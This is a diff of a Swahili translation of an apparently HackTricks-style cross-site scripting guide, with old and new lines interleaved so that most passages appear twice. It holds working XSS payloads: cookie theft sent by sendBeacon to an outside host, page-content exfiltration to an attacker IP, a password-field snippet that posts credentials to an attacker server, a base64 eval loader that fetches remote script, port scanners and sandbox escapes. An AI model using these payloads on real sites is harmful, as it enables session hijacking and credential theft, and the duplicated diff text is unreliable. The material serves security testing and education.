**Kwa sababu ya upanuzi wa maelezo ya** [**vikosi vya DOM, imehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
Kuna **kodiyake JS** inayotumia **data zisizo salama zinazodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyake ya JS isiyo na mipaka.\
**Kwa sababu ya upanuzi wa maelezo ya** [**ukosefu wa usalama wa DOM umehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
Huko utapata **maelezo ya kina kuhusu vikosi vya DOM, jinsi vinavyosababishwa, na jinsi ya kuvifanyia kazi**.\
Huko utapata **maelezo ya kina kuhusu ni nini ukosefu wa usalama wa DOM, jinsi unavyosababishwa, na jinsi ya kuvitumia**.\
Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelezo kuhusu [**shambulio la DOM Clobbering**](dom-xss.md#dom-clobbering).
### Kuboresha Self-XSS
### Cookie XSS
Ikiwa unaweza kuanzisha XSS kwa kutuma payload ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika domain nzima na kufanikisha kuanzisha cookie XSS katika domain kuu au subdomains nyingine (zinazo hatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
Ikiwa unaweza kuanzisha XSS kwa kutuma payload ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika domain nzima na kufanikisha kuanzisha cookie XSS katika domain kuu au subdomains nyingine (zinazohatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -763,19 +763,19 @@ Unaweza kupata matumizi makubwa ya mbinu hii katika [**chapisho hili la blog**](
### Kutuma kikao chako kwa admin
Labda mtumiaji anaweza kushiriki profaili yake na admin na ikiwa self XSS iko ndani ya profaili ya mtumiaji na admin anapofikia, atachochea udhaifu huo.
Labda mtumiaji anaweza kushiriki profaili yake na admin na ikiwa self XSS iko ndani ya profaili ya mtumiaji na admin anapofikia, atachochea ukosefu wa usalama.
### Kurefusha Kikao
### Kioo cha Kikao
Ikiwa unapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili admin akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
Ikiwa unapata self XSS na ukurasa wa wavuti una **kioo cha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili admin akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao chake.
Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/zako za kikao.
## Bypass Nyingine
### Unicode Iliyosawazishwa
Unaweza kuangalia ikiwa **thamani zinazorejelewa** zina **sawasishwa kwa unicode** katika seva (au upande wa mteja) na kutumia kazi hii kuzunguka ulinzi. [**Pata mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting).
Unaweza kuangalia ikiwa **thamani zilizorejelewa** zina **sawazishwa kwa unicode** kwenye seva (au upande wa mteja) na kutumia kazi hii kuzunguka ulinzi. [**Pata mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
@ -783,7 +783,7 @@ Unaweza kuangalia ikiwa **thamani zinazorejelewa** zina **sawasishwa kwa unicode
```
### Ruby-On-Rails bypass
Kwa sababu ya **RoR mass assignment** nukuu zinaingizwa kwenye HTML na kisha kikomo cha nukuu kinapita na maeneo ya ziada (onfocus) yanaweza kuongezwa ndani ya tag.\
Kwa sababu ya **RoR mass assignment** nukuu zinaingizwa katika HTML na kisha kikomo cha nukuu kinapita na maeneo ya ziada (onfocus) yanaweza kuongezwa ndani ya tag.\
Mfano wa fomu ([from this report](https://hackerone.com/reports/709336)), ikiwa utatuma payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -826,9 +826,9 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS na uingizaji wa kichwa katika jibu la 302
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kiendeshe JavaScript isiyo na mipaka**. Hii si **rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting ni bure.
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kiendeshe JavaScript isiyo na mipaka**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting pekee haitakuwa na manufaa.
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote kati yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
Protokali zilizojulikana zamani: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Location kisicho na kitu_, `resource://`.
### Herufi, Nambari na Nukta Pekee
@ -897,9 +897,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Tabia hii ilitumika katika [**hati hii**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval itumike vibaya inaweza kusababisha XSS.
Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kutumika vibaya inaweza kusababisha XSS.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Kifanyikavyo ni hivi:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Inafanya kazi kama ifuatavyo:
```html
<script type="speculationrules">
{
@ -924,11 +924,11 @@ Tabia hii ilitumika katika [**hati hii**](https://github.com/zwade/yaca/tree/mas
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? si katika orodha lakini nadhani niliiona hii katika CTF)
- text/plain (?? si kwenye orodha lakini nadhani niliiona hii katika CTF)
- application/rss+xml (off)
- application/atom+xml (off)
Katika vivinjari vingine **`Content-Types`** nyingine zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
Katika vivinjari vingine aina nyingine za **`Content-Types`** zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
@ -944,7 +944,7 @@ Ikiwa ukurasa unarudisha aina ya maudhui ya text/xml inawezekana kuashiria names
Wakati kitu kama **`"some {{template}} data".replace("{{template}}", <user_input>)`** kinatumika. Mshambuliaji anaweza kutumia [**mabadiliko maalum ya nyuzi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kujaribu kupita baadhi ya ulinzi: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika ku **kutoa nyuzi za JSON** ndani ya script na kutekeleza msimbo wa kiholela.
Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika **kutoa nyuzi za JSON** ndani ya script na kutekeleza msimbo wa kiholela.
### Chrome Cache hadi XSS
@ -952,7 +952,7 @@ Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)
chrome-cache-to-xss.md
{{#endref}}
### XS Jails Kutoroka
### Kutoroka kwa XS Jails
Ikiwa una seti ndogo tu ya wahusika kutumia, angalia hizi suluhisho nyingine halali za matatizo ya XSJail:
```javascript
@ -985,7 +985,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii ripoti**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa chochote" ili kutumia utekelezaji wa msimbo usioaminika wa kiholela:
Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii ripoti**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa chochote" ili kutumia utekelezaji wa msimbo usioaminika:
- Kutumia import()
```javascript
@ -1051,7 +1051,6 @@ trigger()
- **Obfuscations tofauti katika ukurasa mmoja:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
- [http://www.jsfuck.com/](http://www.jsfuck.com)
@ -1239,7 +1238,7 @@ steal-info-js.md
### Iframe Trap
Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
Fanya mtumiaji aelekee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
{{#ref}}
../iframe-traps.md
@ -1268,9 +1267,9 @@ Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitend
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> Hutaweza kufikia vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kidakuzi. Lakini hapa una [njia kadhaa za kupita ulinzi huu](../hacking-with-cookies/index.html#httponly) ikiwa umebahatika.
> Hutaweza kufikia vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kidakuzi. Lakini hapa kuna [njia kadhaa za kupita ulinzi huu](../hacking-with-cookies/index.html#httponly) ikiwa umebahatika.
### Kuiba Maudhui ya Ukurasa
### Pora Maudhui ya Ukurasa
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
@ -1344,7 +1343,7 @@ q.shift()()
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
### Skana wa Bandari (websockets)
### Scanner ya Port (websockets)
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
@ -1359,7 +1358,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Maisha mafupi yanaonyesha bandari inayojibu_ _Maisha marefu yanaonyesha hakuna majibu._
_Maisha mafupi yanaonyesha bandari inayojibu_ _Muda mrefu unaonyesha hakuna majibu._
Kagua orodha ya bandari zilizokatazwa katika Chrome [**hapa**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) na katika Firefox [**hapa**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
@ -1378,11 +1377,11 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Wakati data yoyote inapoingizwa katika uwanja wa nywila, jina la mtumiaji na nywila vinatumwa kwa seva ya washambuliaji, hata kama mteja anachagua nywila iliyohifadhiwa na hajiandikishe chochote, taarifa za kuingia zitavuja.
Wakati data yoyote inapoingizwa kwenye uwanja wa nywila, jina la mtumiaji na nywila vinatumwa kwa seva ya washambuliaji, hata kama mteja anachagua nywila iliyohifadhiwa na hajiandikishe chochote, taarifa za kuingia zitavuja.
### Keylogger
Nikiwa naangalia katika github, nilipata tofauti kadhaa:
Nilipokuwa nikitafuta kwenye github, niliona tofauti kadhaa:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1497,9 +1496,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
```
### Regex - Access Hidden Content
### Regex - Kupata Maudhui Yaliyofichwa
Kutoka [**hii andiko**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotea kutoka JS, bado inawezekana kuziona katika sifa za JS katika vitu tofauti. Kwa mfano, ingizo la REGEX bado linaweza kupatikana baada ya thamani ya ingizo la regex kuondolewa:
Kutoka [**hiki andiko**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotea kutoka JS, bado inawezekana kuziona katika sifa za JS katika vitu tofauti. Kwa mfano, ingizo la REGEX bado linaweza kupatikana baada ya thamani ya ingizo la regex kuondolewa:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1532,25 +1531,25 @@ Unaweza kuingiza msimbo wa Markdown ambao utaonyeshwa? Labda unaweza kupata XSS!
xss-in-markdown.md
{{#endref}}
### XSS kwa SSRF
### XSS hadi SSRF
Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo kuwa SSRF** kupitia Edge Side Include Injection kwa kutumia payload hii:
Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo hadi SSRF** kupitia Edge Side Include Injection kwa kutumia payload hii:
```python
<esi:include src="http://yoursite.com/capture" />
```
Tumia ili kupita vizuizi vya cookie, XSS filters na mengi zaidi!\
Tumia hii kupita vizuizi vya cookie, XSS filters na mengi zaidi!\
Taarifa zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS katika PDF inayoundwa kwa dinamik
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia pembejeo zinazodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakwenda **kuziandika**, na unaweza **kutumia** tabia hii kusababisha **Server XSS**.
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia input inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kutumia** tabia hii kusababisha **Server XSS**.
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
Ikiwa huwezi kuingiza HTML tags inaweza kuwa na faida kujaribu **kuingiza data za PDF**:
Ikiwa huwezi kuingiza HTML tags inaweza kuwa na faida kujaribu **kuingiza data ya PDF**:
{{#ref}}
pdf-injection.md
@ -1622,9 +1621,9 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
Pata **payloads zaidi za SVG katika** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Pata **SVG payloads zaidi katika** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Njia Mbalimbali za JS & Taarifa Zinazohusiana
## Mambo Mengine ya JS & Taarifa Zinazohusiana
{{#ref}}
other-js-tricks.md